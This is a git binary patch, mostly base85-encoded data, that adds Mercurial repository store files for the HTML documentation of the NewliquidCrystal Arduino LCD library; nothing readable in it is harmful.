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

vVi(;0Ik=#y=_w- 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..47af2ccb78d3b5e3dbf761811de5c69a56fc94f8 GIT binary patch literal 6821 zcmbVQWl)^U(q7zsk>GB@AxI!taM<7kXT#!d0fGbzPH<;&cL^3G!6mo{2~Kbigg^p! zm%}}E?)T$XeYdNoduq1ddY|r@cly}|AOH{m_kzj{01(msH3yL0J;=>LT2{^eDk4JE z5A__hA6KMU3`Y+>_r??2t9z%qC=9%7_X{3NKvl4vOtu%wsdRe`d5%Uwe$aeV>XI-w zySgBdv4q>w@ zc9qC;F3s2cVol?-@3{PAlqs+>L6)ZLfbwGuwSO}zMqp~_IiVka4oEDEH;&i-&6joH zcUmpM=WltZb{i&}m?0QFmXxx^NbLg2;cM2G_!dVXEyX;>p#cn1$xmHm0t3h`&g1zL z#D>f9r6Ig~BXZ12QMocfJL-@W#9?5EhUr9C7mqytoDezqXODoAKyHLI}b-AT(XCC?1Ng@5z2VUbOjnFZy2@c=T$54 z=2Z8oka;!`4Y*%Mle1Q=hb4|-sH*3Dv3k8DJuJW@6yDj3tRRV=qG0&Kt6uhxFvMCv z>IP@BVU+0><-+Yn&ow|iZQ=RZcYAk_%`hk43wpjvhjEZJ2$K#jVVn@=D@rSMg<{25+@^;J2=AV9vfgv#gF*wly7fEUM|k6liJ5WY4H(6 z1l=5>`|Yq9%5@IdJ)VpE&Qn#(1X`D?Drg{NBp4>++amME?uZYQB#whr@^vv488X+1 z8MVjPPWHSAnBJ=~qpYlF{q2uOMcsLPwNAfftkk7pF!)`cb3velXzxjLxSOkb8u8Ls zQ-l=cV-G!b7Q-SZQWV4U7yH@#TtP(KUy*gHOs`@nnohwQ?E5x3eU_^QL2pu}N=@Qz z-_gFrVe00UPAKJd1z$YV8KuY-L^gS(e>(lEEJtTlUo}%HSyw!CPcB;mrEsY03wc#b zTU8CtxSD*)qYP}EFxCVj{rSDSL}=-fe|pf7I*#C6{B*9x$c0N8Nvk(r-N0c!rT8hZ z(dp#%ZcepL%J3Px?nGG<3#E+GAT*pZrJIt8L$M>(KzDtbgtMQ05EQdKH{vSlT;8g) zT_ZpEXM`bcU;fgIcB$o&_LmQ69(YA6FTkX#+SWe>+tdp5o}kosx9a24Qk8pI(k6ED zOE8|0Z{W?HJ?nkR^RebT`Tl5s!{;>RtUWiuT(bhVJ;DNQ)rua1t9t$5aqS*oq}jo? zE)faV$Hf%e^sA%phP%^Fh36{ZdE;&b-BG7GO@DLxY4nX7K#HqV>?bN>LA%E^qaD(3 zJeFFKa_d_K5Al@rSJa08aJQ#T-Fo){GmGZ69w~b=YPm#?Dr;f>AvI*CR}E+bUhZ5= zmxo(?u)20JjcKVZ-ifZ?4>{6wwWi`qEmnu1V^K*a%JObzzT(?_{=`R!iaco_IbtAh zzStzM6l)ESpL98{yWnJ#M`1D1ZRH!D0;dnOGU1dCgRHtGDkegA3-31%h|(mlPq-Jy z`87eX*~qMsE|2AR{-?n*R|*c4zdx-Qdalxdy+1x*rR64%XV{`fEl+Pka4z_J;?>IPJc2nMlGgoKl51OdB zzRdnClOQxUu}RivNaBTDg09=yA9keH9YKrh$npt`uJu#eiN_qU4}1Hvab3RB)>&4s z&fRxV@aDHmVSwHR{n4k!!DI)5ty69VJp^#R=uDwRpAy~9$7QtY2&?FMUCHA$49@HQ zn~(9E@p@-^BZ@cvZu*CU)*iT`H=&uypL4ajz4O<}=XG=awj$MjS$F!9lo@A}e@ZGZ zClJ#*(iO7rRheidrorZc8e2j!1x1F2lyed$9Dk!xXowBKO9i~Xz{KMpRfZhC053GR zY{LdE^NhY7azusYKX)9XUXUEXfBUz1LLp%Mc-Tnq=;%;0OHeO}g(m14+Lb3JXPd<9 z7Zf;JCZxt|B!JUEZT0_$y{eN~x|)<)3@(DBE&yAZnwwdf zgDYZ_O$t^w4)RtL(zFtFwMt{PN{j5QEWjfu0MrD=2KdX-i0>i1`A53BVJnDm+`vXG zy*LpaW|o)7tt)?gb2PPcIPbk5)Zgjevjl@#>jqgh6h;*}xEi&UhQ_!RIW;DmJ}9av zvMF(L$tBc$U>gMu57xS>jwo{~aVUb+2gWqfxkfZkl!i5V>a=+HcmyTCD}oA?B^ z6o$ApPMqDMSVgr0oXeN37Q0dp{^os8Mt~ZXgd(?zp3804X&iT^Nz61S6S?+~}*y5*8-` z5^&LG-Qa3qwnr-SbG9oW@R8&yVD(*?io3^wnIdyOcbRiO8E|dJJyiQ8#VhJa5u-v1 